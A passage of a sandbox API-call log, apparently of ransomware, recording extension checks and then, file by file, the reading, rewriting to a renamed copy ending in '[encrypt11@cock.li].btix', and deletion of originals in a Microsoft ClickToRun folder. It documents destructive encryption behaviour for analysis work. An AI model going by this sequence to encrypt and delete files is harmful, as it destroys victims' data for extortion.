lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString=".rar") returned 4 [0054.846] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString=".bz2") returned 4 [0054.846] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0054.846] lstrlenW (lpString=".7z") returned 3 [0054.846] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString=".dbf") returned 4 [0054.846] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString=".1cd") returned 4 [0054.846] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString=".jpg") returned 4 [0054.846] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.846] lstrlenW (lpString=".doc") returned 4 [0054.846] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0054.846] lstrlenW (lpString=".docx") returned 5 [0054.846] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0054.846] lstrlenW (lpString=".pdf") returned 4 [0054.846] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0054.846] lstrlenW (lpString=".xls") returned 4 [0054.847] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0054.847] lstrlenW (lpString=".xlsx") returned 5 [0054.847] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0054.847] lstrlenW (lpString=".ppt") returned 4 [0054.847] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.847] lstrlenW (lpString=".zip") returned 4 [0054.847] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0054.847] lstrlenW (lpString=".rar") returned 4 [0054.847] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0054.847] lstrlenW (lpString=".bz2") returned 4 [0054.847] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0054.847] lstrlenW (lpString=".7z") returned 3 [0054.847] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.847] lstrlenW (lpString=".dbf") returned 4 [0054.847] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.847] lstrlenW (lpString=".1cd") returned 4 [0054.847] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0054.847] lstrlenW (lpString=".jpg") returned 4 [0054.847] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0054.847] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.847] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0054.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.848] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=18624) returned 1 [0054.848] CloseHandle (hObject=0x31c) returned 1 [0054.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0054.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.848] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.848] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.848] GetLastError () returned 0x0 [0054.848] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0054.855] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0054.856] ReadFile (in: hFile=0x31c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.856] WriteFile (in: hFile=0x2e0, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x112, lpOverlapped=0x0) returned 1 [0054.856] SetEndOfFile (hFile=0x2e0) returned 1 [0054.856] CloseHandle (hObject=0x2e0) returned 1 [0054.857] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.857] SetEndOfFile (hFile=0x31c) returned 1 [0054.858] CloseHandle (hObject=0x31c) returned 1 [0054.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.859] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.871] lstrlenW (lpString=".doc") returned 4 [0054.871] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.871] lstrlenW (lpString=".docx") returned 5 [0054.871] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.871] lstrlenW (lpString=".pdf") returned 4 [0054.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.871] lstrlenW (lpString=".xls") returned 4 [0054.871] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.871] lstrlenW (lpString=".xlsx") returned 5 [0054.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.871] lstrlenW (lpString=".ppt") returned 4 [0054.871] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.871] lstrlenW (lpString=".zip") returned 4 [0054.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString=".rar") returned 4 [0054.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString=".bz2") returned 4 [0054.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.872] lstrlenW (lpString=".7z") returned 3 [0054.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.872] lstrlenW (lpString=".dbf") returned 4 [0054.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.872] lstrlenW (lpString=".1cd") returned 4 [0054.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.872] lstrlenW (lpString=".jpg") returned 4 [0054.872] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.872] lstrlenW (lpString=".doc") returned 4 [0054.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString=".docx") returned 5 [0054.872] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.872] lstrlenW (lpString=".pdf") returned 4 [0054.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString=".xls") returned 4 [0054.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.872] lstrlenW (lpString=".xlsx") returned 5 [0054.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.873] lstrlenW (lpString=".ppt") returned 4 [0054.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.873] lstrlenW (lpString=".zip") returned 4 [0054.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.873] lstrlenW (lpString=".rar") returned 4 [0054.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.873] lstrlenW (lpString=".bz2") returned 4 [0054.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.873] lstrlenW (lpString=".7z") returned 3 [0054.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.873] lstrlenW (lpString=".dbf") returned 4 [0054.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.873] lstrlenW (lpString=".1cd") returned 4 [0054.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0054.873] lstrlenW (lpString=".jpg") returned 4 [0054.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.873] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.873] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0054.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.874] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=18624) returned 1 [0054.874] CloseHandle (hObject=0x320) returned 1 [0054.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0054.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.875] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.875] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.875] GetLastError () returned 0x0 [0054.875] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0054.910] WriteFile (in: hFile=0x31c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0054.911] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.911] WriteFile (in: hFile=0x31c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x112, lpOverlapped=0x0) returned 1 [0054.911] SetEndOfFile (hFile=0x31c) returned 1 [0054.911] CloseHandle (hObject=0x31c) returned 1 [0054.912] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.912] SetEndOfFile (hFile=0x320) returned 1 [0054.913] CloseHandle (hObject=0x320) returned 1 [0054.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.914] lstrlenW (lpString=".doc") returned 4 [0054.914] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString=".docx") returned 5 [0054.914] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.914] lstrlenW (lpString=".pdf") returned 4 [0054.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString=".xls") returned 4 [0054.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString=".xlsx") returned 5 [0054.914] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.914] lstrlenW (lpString=".ppt") returned 4 [0054.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.914] lstrlenW (lpString=".zip") returned 4 [0054.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString=".rar") returned 4 [0054.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.914] lstrlenW (lpString=".bz2") returned 4 [0054.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.914] lstrlenW (lpString=".7z") returned 3 [0054.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.914] lstrlenW (lpString=".dbf") returned 4 [0054.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.915] lstrlenW (lpString=".1cd") returned 4 [0054.915] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.915] lstrlenW (lpString=".jpg") returned 4 [0054.915] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.915] lstrlenW (lpString=".doc") returned 4 [0054.915] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.915] lstrlenW (lpString=".docx") returned 5 [0054.915] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.915] lstrlenW (lpString=".pdf") returned 4 [0054.915] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.915] lstrlenW (lpString=".xls") returned 4 [0054.915] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.915] lstrlenW (lpString=".xlsx") returned 5 [0054.915] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.915] lstrlenW (lpString=".ppt") returned 4 [0054.915] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.915] lstrlenW (lpString=".zip") returned 4 [0054.915] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.916] lstrlenW (lpString=".rar") returned 4 [0054.916] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.916] lstrlenW (lpString=".bz2") returned 4 [0054.916] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.916] lstrlenW (lpString=".7z") returned 3 [0054.916] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.916] lstrlenW (lpString=".dbf") returned 4 [0054.916] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.916] lstrlenW (lpString=".1cd") returned 4 [0054.916] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0054.916] lstrlenW (lpString=".jpg") returned 4 [0054.916] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.916] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.916] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0054.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.917] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=19136) returned 1 [0054.917] CloseHandle (hObject=0x320) returned 1 [0054.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0054.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.917] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.917] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.918] GetLastError () returned 0x0 [0054.918] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0054.934] WriteFile (in: hFile=0x31c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0054.935] ReadFile (in: hFile=0x320, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.935] WriteFile (in: hFile=0x31c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x126, lpOverlapped=0x0) returned 1 [0054.935] SetEndOfFile (hFile=0x31c) returned 1 [0054.935] CloseHandle (hObject=0x31c) returned 1 [0054.936] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.936] SetEndOfFile (hFile=0x320) returned 1 [0054.937] CloseHandle (hObject=0x320) returned 1 [0054.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.937] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0054.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.937] lstrlenW (lpString=".doc") returned 4 [0054.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.937] lstrlenW (lpString=".docx") returned 5 [0054.938] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0054.938] lstrlenW (lpString=".pdf") returned 4 [0054.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".xls") returned 4 [0054.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".xlsx") returned 5 [0054.938] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0054.938] lstrlenW (lpString=".ppt") returned 4 [0054.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 